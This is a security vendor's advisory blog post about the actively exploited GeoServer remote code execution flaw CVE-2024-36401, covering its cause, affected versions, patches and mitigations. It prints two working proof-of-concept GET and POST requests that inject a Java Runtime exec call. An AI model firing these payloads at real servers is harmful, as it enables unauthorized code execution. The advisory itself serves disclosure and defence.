SecPod

Learn Search

Search across all Learn content

← Back to Security Research
GeoServer Critical RCE Flaw Actively Exploited, Warns CISA

GeoServer Critical RCE Flaw Actively Exploited, Warns CISA

GeoServer, an open-source tool used to share and modify geospatial data, is under attack. CVE-2024-36401, which impacts the GeoTools plugin, has a severity rating of 9.8 and arises from the unsafe evaluation of property names as XPath expressions. The GeoTools library API exposes property and attrib...

Jul 17, 2024By Meghana Raatni4 min read

GeoServer, an open-source tool used to share and modify geospatial data, is under attack. CVE-2024-36401, which impacts the GeoTools plugin, has a severity rating of 9.8 and arises from the unsafe evaluation of property names as XPath expressions. The GeoTools library API exposes property and attribute names for feature types to the commons-jxpath library during processing, which can lead to the execution of arbitrary code.

According to The Shadowserver Foundation, the exploitation of CVE-2024-36401 started on July 9th, and the flaw was added to the CISA KEV shortly after.

Technical Details of CVE-2024-36401

The vulnerability (CVE-2024-36401) stems from the insecure handling of attribute names within the GeoTools library API, which GeoServer leverages. This vulnerability arises because the GeoTools API passes these attribute names to the commons-jxpath library, a tool designed for parsing and evaluating XPath expressions. Under normal circumstances, XPath evaluations should be limited to complex feature types, such as those in Application Schema data stores. However, due to a flaw in the implementation, these evaluations are incorrectly extended to simple feature types as well.

This GeoServer flaw can be exploited through various parameters in OGC (Open Geospatial Consortium) requests. The following request types are known to be vulnerable:

  • WFS GetFeature: This request is used to retrieve feature data from a Web Feature Service.
  • WFS GetPropertyValue: It retrieves specific feature properties from a WFS.
  • WMS GetMap: This request is for obtaining map images from a Web Map Service.
  • WMS GetFeatureInfo: It fetches detailed information about features at specified locations on a map.
  • WMS GetLegendGraphic: Requests a legend graphic corresponding to a map from a WMS.
  • WPS Execute: Executes processes in a Web Processing Service.

Each of these requests can potentially be manipulated to exploit the vulnerability, leading to arbitrary code execution and posing significant security risks.

Though no official Proof of Concept has been released, many researchers have put out their own PoCs using GET and POST requests. Some examples of payloads used are shown below:

block
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
block
POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>

The different PoCs illustrate methods to achieve remote code execution on vulnerable servers, establish reverse shells, initiate outbound connections, or create files in the /tmp directory.

Impact and Products Affected by CVE-2024-36401

Around 16,462 GeoServer servers are exposed online, primarily in the US, China, Romania, Germany, and France. Given the active exploitation, CISA requires federal agencies to apply patches by August 5th, since this GeoServer flaw has the potential to lead to full server compromise and can be leveraged by unauthenticated attackers.

Vulnerable versions of GeoServer include:

  • 2.25.x, versions prior to 2.25.2
  • 2.24.x, versions prior to 2.24.4
  • All versions prior to 2.23.6

Solutions and Mitigations

Patches are out! The vendor recommends updating your instance to GeoServer version 2.23.6, 2.24.4, or 2.25.2. Mitigations are available if you can’t patch your instance immediately, but they might invalidate some GeoServer functionality.

Mitigations for geoserver.war deploy:

  1. Stop the application server.
  2. Extract the contents of geoserver.war into a directory.
  3. Navigate to the WEB-INF/lib/ directory and remove the gt-complex-x.y.jar file.
  4. Compress the directory back into a new geoserver.war file.
  5. Restart the application server.

Mitigations for GeoServer binary:

  1. Stop Jetty.
  2. Navigate to the webapps/geoserver/WEB-INF/lib/ directory and remove the gt-complex-x.y.jar file.
  3. Restart Jetty.

Instantly Fix Risks with SanerNow Patch Management

SanerNow patch management is a continuous, automated, and integrated software that instantly fixes risks exploited in the wild. The software supports major operating systems like Windows, Linux, and macOS, as well as 550+ third-party applications.

It also allows you to set up a safe testing area to test patches before deploying them in a primary production environment. SanerNow patch management additionally supports a patch rollback feature in case of patch failure or a system malfunction.

Experience the fastest and most accurate patching software here.

Featured Posts

Open November 2026 Linux Security Updates for Debian, Fedora, Red Hat and Ubuntu: Critical Browser, .NET and Enterprise Infrastructure Vulnerabilities
November 2026 Linux Security Updates for Debian, Fedora, Red Hat and Ubuntu: Critical Browser, .NET and Enterprise Infrastructure Vulnerabilities

CVE Research

November 2026 Linux Security Updates for Debian, Fedora, Red Hat and Ubuntu: Critical Browser, .NET and Enterprise Infrastructure Vulnerabilities

Nov 27, 2026

Open Drupal Installer Flaw Under Attack: Site Takeover Risk Persists
vulnerability researchDrupal Installer Flaw Under Attack: Site Takeover Risk Persists

CVE Research

Drupal Installer Flaw Under Attack: Site Takeover Risk Persists

CVE-2026-136716 is a highly critical Drupal core installer access-bypass vulnerability that is under active exploitation. An unauthenticated attacker can take over sites left in unusual or incomplete installation states, including some production sites. The earlier fix for CVE-2026-132165 does not cover every affected state. Fixed releases are Drupal Core 11.4.14, 11.3.23, and 10.6.23. This article covers how the flaw works, its relationship to the prior installer issue, impact, and remediation steps.

Nov 27, 2026

Open GT13 Campaign Targets 22 Organizations Through Check Point Security Management Server Exploitation
GT13 Campaign Targets 22 Organizations Through Check Point Security Management Server Exploitation

CVE Research

GT13 Campaign Targets 22 Organizations Through Check Point Security Management Server Exploitation

The GT13 campaign targeted at least 22 organizations worldwide by exploiting vulnerabilities in exposed services and Check Point Security Management Servers. The attackers used forged authentication sessions, SSH-based persistence, internal reconnaissance, lateral movement, and data exfiltration techniques to compromise systems and access sensitive information.

Nov 26, 2026

Open GeoServer Flaws Under Attack: Inside the Exploit Chain to Remote Code Execution
vulnerability researchGeoServer Flaws Under Attack: Inside the Exploit Chain to Remote Code Execution

CVE Research

GeoServer Flaws Under Attack: Inside the Exploit Chain to Remote Code Execution

Six vulnerabilities in GeoServer’s November 2026 security update can expose sensitive files, bypass service authorization, and enable administrator impersonation. Several of these flaws can be chained for unauthenticated remote code execution with the permissions of the GeoServer process. CVE-2026-120705 and CVE-2026-129243 have been reported as exploited. Fixed releases include GeoServer 3.0.2, 2.28.6, and 2.27.7. This article covers the flaws, the public five-CVE chain, impact, affected versions, and remediation guidance.

Nov 26, 2026